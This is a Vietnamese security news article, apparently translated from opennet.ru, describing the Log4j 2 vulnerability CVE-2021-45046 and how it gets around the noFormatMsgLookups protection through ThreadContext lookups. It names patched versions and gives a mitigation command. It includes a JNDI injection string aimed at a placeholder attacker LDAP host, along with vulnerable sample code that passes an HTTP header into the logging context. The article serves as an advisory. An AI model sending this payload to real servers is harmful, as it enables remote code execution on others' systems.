Một cuộc tấn công mới vào Log4j 2 cho phép bạn vượt qua lớp bảo vệ bổ sung

Một lỗ hổng khác đã được xác định trong quá trình triển khai các tính năng thay thế JNDI trong thư viện Log4j 2 (CVE-2021-45046), xảy ra bất chấp các bản sửa lỗi được bổ sung trong bản phát hành 2.15 và bất kể việc sử dụng cài đặt "log4j2.noFormatMsgLookup" để bảo vệ. Vấn đề này chủ yếu nguy hiểm đối với các phiên bản cũ hơn của Log4j 2, được bảo vệ bằng cờ "noFormatMsgLookup", vì nó có thể bỏ qua tính năng bảo vệ chống lại lỗ hổng trước đó (Log4Shell, CVE-2021-44228), cho phép bạn thực thi mã của mình trên máy chủ. Đối với người dùng phiên bản 2.15, việc khai thác bị giới hạn ở việc tạo điều kiện cho ứng dụng gặp sự cố do cạn kiệt tài nguyên hiện có.

Lỗ hổng này chỉ xảy ra trên các hệ thống sử dụng Tra cứu ngữ cảnh như ${ctx:loginId} hoặc Bản đồ bối cảnh luồng như %X, %mdc và %MDC để ghi nhật ký. Hoạt động bao gồm việc tạo điều kiện xuất dữ liệu có chứa các thay thế JNDI vào nhật ký khi sử dụng truy vấn ngữ cảnh hoặc mẫu MDC trong ứng dụng xác định quy tắc định dạng đầu ra cho nhật ký.

Các nhà nghiên cứu từ LunaSec lưu ý rằng đối với các phiên bản Log4j nhỏ hơn 2.15, lỗ hổng này có thể được sử dụng làm phương tiện mới cho cuộc tấn công Log4Shell dẫn đến thực thi mã nếu biểu thức ThreadContext được sử dụng khi xuất ra nhật ký, bất kể dữ liệu bên ngoài nào được đưa vào, bất kể bao gồm để bảo vệ cờ " noMsgFormatLookups" hoặc mẫu "%m{nolookups}".

Một cuộc tấn công mới vào Log4j 2 cho phép bạn vượt qua lớp bảo vệ bổ sung

Việc bỏ qua bảo vệ xuất phát từ thực tế là thay vì thay thế trực tiếp "${jndi:ldap://Attacker.com/a}", biểu thức này được thay thế thông qua giá trị của biến trung gian được sử dụng trong quy tắc định dạng đầu ra cho nhật ký. Ví dụ: nếu truy vấn ngữ cảnh ${ctx:apiversion} được sử dụng khi xuất ra nhật ký thì cuộc tấn công có thể được thực hiện bằng cách thay thế dữ liệu "${jndi:ldap://Attacker.com/a}" vào giá trị được ghi vào biến apiversion. Ví dụ về mã dễ bị tổn thương:appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Giá trị tiêu đề HTTP "X-Api-Version" được chuyển tới ThreadContext ThreadContext.put("apiversion" , apiVersion ); // Khi xuất ra nhật ký, giá trị bên ngoài của apiversion sẽ được xử lý bằng cách sử dụng thay thế ${ctx:apiversion} logger.info("Đã nhận được yêu cầu về phiên bản API"); return "Xin chào thế giới!"; }

Trong Log4j 2.15, lỗ hổng có thể bị khai thác để thực hiện các cuộc tấn công DoS khi chuyển các giá trị tới ThreadContext khiến mẫu định dạng đầu ra bị lặp.

Một cuộc tấn công mới vào Log4j 2 cho phép bạn vượt qua lớp bảo vệ bổ sung

Các bản cập nhật 2.16 và 2.12.2 đã được xuất bản để chặn lỗ hổng này. Trong nhánh Log4j 2.16, ngoài các bản sửa lỗi được triển khai trong phiên bản 2.15 và ràng buộc các truy vấn LDAP JNDI với "localhost", chức năng JNDI bị tắt hoàn toàn theo mặc định và hỗ trợ cho các mẫu thay thế thông báo đã bị xóa. Để giải quyết vấn đề bảo mật, bạn nên xóa lớp JndiLookup khỏi đường dẫn lớp (ví dụ: "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").

Bạn có thể theo dõi sự xuất hiện của các bản sửa lỗi trong các gói trên các trang phân phối (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) và các nhà sản xuất nền tảng Java (GitHub, Docker, Oracle, vmWare, Broadcom và Amazon / AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, v.v.).

Nguồn: opennet.ru

Thêm một lời nhận xét